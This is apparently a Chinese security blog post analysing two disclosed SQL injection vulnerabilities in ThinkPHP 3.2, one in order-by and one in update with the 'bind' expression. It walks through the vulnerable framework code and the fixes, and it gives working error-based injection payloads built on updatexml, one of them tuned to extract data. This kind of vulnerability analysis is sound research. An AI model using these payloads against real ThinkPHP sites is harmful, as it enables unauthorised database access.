Thinkphp作为php的经典框架之一,其安全行还是基本可靠的。这里分析一下Thinkphp3.2中的几个网上披露出来的漏洞
orderby注入
切换到补丁前:git checkout 9e1db19
测试代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller { public function index() { $order = I('get.order'); M('users')->where('1=1')->order($order)->select(); } }
|
payload为:?order[updatexml(0,concat(0x7e,user()),1)]=1
造成漏洞的原因在parseOrder
函数中/ThinkPHP/Library/Think/Db/Driver.class.php:754
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| protected function parseOrder($order) { if (empty($order)) { return ''; } $array = array(); if (is_array($order)) { foreach ($order as $key => $val) { if (is_numeric($key)) { if (false === strpos($val, '(')) { $array[] = $this->parseKey($val); } } else { $sort = in_array(strtolower($val), array('asc', 'desc')) ? ' ' . $val : ''; $array[] = $this->parseKey($key) . $sort; } } } elseif ('[RAND]' == $order) { $array[] = $this->parseRand(); } else { foreach (explode(',', $order) as $val) { if (preg_match('/\s+(ASC|DESC)$/i', rtrim($val), $match, PREG_OFFSET_CAPTURE)) { $array[] = $this->parseKey(ltrim(substr($val, 0, $match[0][1]))) . ' ' . $match[1][0]; } elseif (false === strpos($val, '(')) { $array[] = $this->parseKey($val); } } } $order = implode(',', $array); return !empty($order) ? ' ORDER BY ' . $order : ''; }
|
如果我们传入的是数组形式,则进入的是下面的代码:
1 2 3 4 5 6 7 8 9 10 11
| if (is_array($order)) { foreach ($order as $key => $val) { if (is_numeric($key)) { if (false === strpos($val, '(')) { $array[] = $this->parseKey($val); } } else { $sort = in_array(strtolower($val), array('asc', 'desc')) ? ' ' . $val : ''; $array[] = $this->parseKey($key) . $sort; } }
|
如果传入的数组$key
不是数字,则通过$this->parseKey($key)
后,拼接进$array
,跟进看一下/ThinkPHP/Library/Think/Db/Driver/Mysql.class.php:101
1 2 3 4 5 6 7 8
| protected function parseKey($key) { $key = trim($key); if (!is_numeric($key) && !preg_match('/[,\'\"\*\(\)`.\s]/', $key)) { $key = '`' . $key . '`'; } return $key; }
|
这里的正则形同虚设,也就是说我们的恶意数据压根没处理,导致了SQL注入
修复

给parseKey加了一个参数控制判断,调用时使用parseKey($key,true)
即可
update注入
git checkout 977806d
测试代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller { public function index() { $data['name'] = I('get.name'); $data['passwd'] = I('get.passwd'); $map['id'] = I('get.id'); M('users')->where($map)->save($data); } }
|
模仿已有的payload的写一个:index.php?passwd[]=123&name=xiaot&id[0]=bind&id[1]=0+and+(updatexml(1,concat(0x7e,(select+user()),0x7e),1))

看到报错,但是并没有注出信息来,通过断点调试一波,追到/ThinkPHP/Library/Think/Db/Driver.class.php:416
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| protected function parseSet($data) { foreach ($data as $key => $val) { if (isset($val[0]) && 'exp' == $val[0]) { $set[] = $this->parseKey($key) . '=' . $val[1]; } elseif (is_null($val)) { $set[] = $this->parseKey($key) . '=NULL'; } elseif (is_scalar($val)) { if (0 === strpos($val, ':') && in_array($val, array_keys($this->bind))) { $set[] = $this->parseKey($key) . '=' . $val; } else { $name = count($this->bind); $set[] = $this->parseKey($key) . '=:' . $key . '_' . $name; $this->bindParam($key . '_' . $name, $val); } } } return ' SET ' . implode(',', $set); }
|
经过该函数处理后,我们的$data数据进入set操作,形成参数绑定的形式,只不过和网上的有点不一样

先不管,继续追到/ThinkPHP/Library/Think/Db/Driver.class.php:606下的parseWhereItem函数,其中对bind表达式有处理:
1 2 3
| } elseif ('bind' == $exp) { $whereStr .= $key . ' = :' . $val[1];
|
这里的拼接操作形成如下形式:

也就是说在执行后面绑定的时候,这里的:0并没有参数去替换,所以我们需要更改一下id[1]=name_0+and+(updatexml(1,concat(0x7e,(select+user()),0x7e),1))
,于是就可以继续注入了,所以要利用还需要根据实际情况来???

修复
官方直接在think_filter中添加了对bind过滤